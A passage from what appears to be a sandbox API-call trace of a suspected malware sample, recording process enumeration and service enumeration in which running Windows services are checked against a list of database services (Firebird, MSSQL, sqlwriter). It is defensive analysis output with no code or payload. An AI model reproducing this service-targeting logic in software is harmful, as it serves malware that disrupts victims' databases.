lpString2="RpcEptMapper") returned -1 [0265.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0265.478] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0265.478] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0265.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0265.478] lstrlenW (lpString="RpcSs") returned 5 [0265.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0265.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0265.478] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0265.478] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0265.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0265.478] lstrlenW (lpString="SamSs") returned 5 [0265.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0265.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0265.478] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0265.479] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0265.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0265.479] lstrlenW (lpString="Schedule") returned 8 [0265.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0265.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0265.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0265.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0265.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0265.479] lstrlenW (lpString="SecurityHealthService") returned 21 [0265.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0265.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0265.479] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0265.479] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0265.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0265.479] lstrlenW (lpString="SENS") returned 4 [0265.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0265.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0265.479] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0265.479] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0265.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0265.479] lstrlenW (lpString="ShellHWDetection") returned 16 [0265.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.479] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0265.479] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0265.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0265.479] lstrlenW (lpString="Spooler") returned 7 [0265.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0265.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0265.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0265.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0265.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0265.480] lstrlenW (lpString="StateRepository") returned 15 [0265.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0265.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0265.480] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0265.480] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0265.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0265.480] lstrlenW (lpString="SysMain") returned 7 [0265.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0265.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0265.480] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0265.480] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0265.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0265.480] lstrlenW (lpString="SystemEventsBroker") returned 18 [0265.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0265.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0265.480] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0265.480] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0265.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0265.480] lstrlenW (lpString="Themes") returned 6 [0265.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0265.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0265.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0265.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0265.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0265.480] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0265.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0265.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0265.480] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0265.480] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0265.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4078460 | out: hHeap=0x630000) returned 1 [0265.481] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1268 [0265.485] Process32FirstW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.486] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.621] lstrlenW (lpString="System") returned 6 [0265.621] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.622] lstrlenW (lpString="smss.exe") returned 8 [0265.622] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.622] lstrlenW (lpString="csrss.exe") returned 9 [0265.622] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.623] lstrlenW (lpString="wininit.exe") returned 11 [0265.623] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.624] lstrlenW (lpString="csrss.exe") returned 9 [0265.624] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.625] lstrlenW (lpString="winlogon.exe") returned 12 [0265.625] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.625] lstrlenW (lpString="services.exe") returned 12 [0265.625] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.626] lstrlenW (lpString="lsass.exe") returned 9 [0265.626] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0265.627] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0265.627] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0265.628] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0265.628] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.628] lstrlenW (lpString="svchost.exe") returned 11 [0265.628] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.629] lstrlenW (lpString="svchost.exe") returned 11 [0265.629] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.630] lstrlenW (lpString="dwm.exe") returned 7 [0265.630] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.631] lstrlenW (lpString="svchost.exe") returned 11 [0265.631] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.632] lstrlenW (lpString="svchost.exe") returned 11 [0265.632] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.633] lstrlenW (lpString="svchost.exe") returned 11 [0265.633] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.633] lstrlenW (lpString="svchost.exe") returned 11 [0265.633] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.634] lstrlenW (lpString="svchost.exe") returned 11 [0265.634] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.635] lstrlenW (lpString="svchost.exe") returned 11 [0265.635] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.635] lstrlenW (lpString="svchost.exe") returned 11 [0265.636] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.636] lstrlenW (lpString="svchost.exe") returned 11 [0265.636] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.637] lstrlenW (lpString="svchost.exe") returned 11 [0265.637] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.638] lstrlenW (lpString="svchost.exe") returned 11 [0265.638] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.638] lstrlenW (lpString="spoolsv.exe") returned 11 [0265.638] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.639] lstrlenW (lpString="svchost.exe") returned 11 [0265.639] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.640] lstrlenW (lpString="audiodg.exe") returned 11 [0265.640] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0265.640] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0265.640] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0265.641] lstrlenW (lpString="Memory Compression") returned 18 [0265.641] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0265.642] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0265.642] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0265.643] lstrlenW (lpString="sihost.exe") returned 10 [0265.643] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.643] lstrlenW (lpString="svchost.exe") returned 11 [0265.643] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0265.644] lstrlenW (lpString="taskhostw.exe") returned 13 [0265.644] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0265.645] lstrlenW (lpString="msoia.exe") returned 9 [0265.645] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.646] lstrlenW (lpString="explorer.exe") returned 12 [0265.646] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0265.647] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0265.647] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0265.647] lstrlenW (lpString="SearchUI.exe") returned 12 [0265.647] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0265.648] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0265.648] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0265.649] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0265.649] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0265.649] lstrlenW (lpString="load0.exe") returned 9 [0265.649] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0265.650] lstrlenW (lpString="consent.exe") returned 11 [0265.650] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0265.651] lstrlenW (lpString="dllhost.exe") returned 11 [0265.651] Process32NextW (in: hSnapshot=0x1268, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0265.652] CloseHandle (hObject=0x1268) returned 1 [0265.652] Sleep (dwMilliseconds=0x1f4) [0266.162] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64730 [0266.163] EnumServicesStatusExW (in: hSCManager=0x3f64730, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0266.163] GetLastError () returned 0xea [0266.163] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x4078460 [0266.164] EnumServicesStatusExW (in: hSCManager=0x3f64730, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4078460, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4078460, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0266.165] CloseServiceHandle (hSCObject=0x3f64730) returned 1 [0266.166] lstrlenW (lpString="Appinfo") returned 7 [0266.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0266.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0266.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0266.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0266.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0266.166] lstrlenW (lpString="AppXSvc") returned 7 [0266.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0266.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0266.166] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0266.166] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0266.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0266.166] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0266.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.167] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0266.167] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0266.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0266.167] lstrlenW (lpString="Audiosrv") returned 8 [0266.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0266.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0266.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0266.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0266.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0266.167] lstrlenW (lpString="BFE") returned 3 [0266.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0266.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0266.167] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0266.167] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0266.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0266.167] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0266.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0266.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0266.167] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0266.167] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0266.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0266.167] lstrlenW (lpString="CDPSvc") returned 6 [0266.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0266.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0266.167] lstrcmpiW (lpString1="sqlwriter", 